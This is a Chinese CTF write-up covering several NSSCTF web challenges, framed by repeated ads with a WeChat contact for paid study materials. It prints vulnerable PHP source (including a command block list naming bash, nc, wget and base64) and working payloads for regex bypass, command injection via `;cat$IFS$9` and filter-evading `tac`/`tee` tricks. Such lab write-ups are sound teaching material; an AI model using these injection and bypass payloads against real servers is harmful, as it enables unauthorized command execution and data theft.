学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
NSSCTF之Web篇刷题记录[12]
NSSCTF平台:https://www.nssctf.cn/
PS:记得所有的flag
都改为NSSCTF
[NCTF 2018]签到题:
打开是一个search.php
查看源代码都没有找到flag,
最后在index.php
的响应头找到了!
NSSCTF{w3lc0m3_t0_nctf2018hhhhhhhhhhhh}
[鹤城杯 2021]EasyP:
<?php
include 'utils.php';
if (isset($\_POST['guess'])) {
$guess = (string) $\_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg\_match('/utils\.php\/\*$/i', $\_SERVER['PHP\_SELF'])) {
exit("hacker :)");
}
if (preg\_match('/show\_source/', $\_SERVER['REQUEST\_URI'])){
exit("hacker :)");
}
if (isset($\_GET['show\_source'])) {
highlight\_file(basename($\_SERVER['PHP\_SELF']));
exit();
}else{
show\_source(\_\_FILE\_\_);
}
?>
分析一下代码$_SERVE[‘PHP_SELF’]
调用的脚本的路径
$_SERVER[‘REQUEST_URI’]
取得当前URI,也就是除域名外后面的完整的地址路径
basename
函数: 返回路径中的文件名部分。
现在需要绕过preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']
和正则 只要在php\
后面加一个非ascll
码就行比如汉字 由于preg_match
正则匹配,我们不能直接输入show_source=‘’
所以可以将show_source
变为show[source
绕过preg_match
正则方法是,在 index.php/utils.php
后面添加一个非ascii
表中的字符(很多都可以)
payload:/index.php/utils.php/巧克力?show[source=1
NSSCTF{9ce4af3e-811f-49cd-a8f3-544efa897fb9}
[NSSCTF 2022 Spring Recruit]ezgame:
玩游戏65
分给你flag
(懒得玩)提示给的是js
所以我们找一下,在js/preload.js
中找到FLAG
。
NSSCTF{c0700f5b-604f-4b8f-b017-4be822fb5de6}
[GXYCTF 2019]Ping Ping Ping:
这题之前讲过可以参考链接:https://blog.csdn.net/Aluxian_/article/details/130053100?spm=1001.2014.3001.5501
Payload:?ip=127.0.0.1;cat$IFS$9`ls`
NSSCTF{8117affa-f16d-4085-b644-696ae9b83a2c}
[SWPUCTF 2021 新生赛]finalrce:
<?php
highlight\_file(\_\_FILE\_\_);
if(isset($\_GET['url']))
{
$url=$\_GET['url'];
if(preg\_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
preg_match
函数用于执行一个正则表达式匹配,这里看到基本上过滤了很多命令cat,ls
这种都不能使用了 可以使用tee
命令
由于ls
正则表达被过滤,所以我们还需要绕过preg_match
可以使用反斜杠(\)
转义字符
这里的tee
功能是从标准输入读取,再写入标准输出和文件 Payload:?url=l\s / |tee 1.txt
然后访问1.txt
看到flllllaaaaaaggggggg
tac
没有被过滤然后直接 构造Payload:?url=tac /flllll\aaaaaaggggggg | tee 9.txt (
记得|后面要空格)在访问9.txt
NSSCTF{9dccd221-4cd1-41f7-9feb-3c463839eb88}
[NISACTF 2022]checkin:
提示:尝试复制源码看看->010editor
识别到Unicode
特殊字符复制到VScode
中 复制下来URLencode
编码一下
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!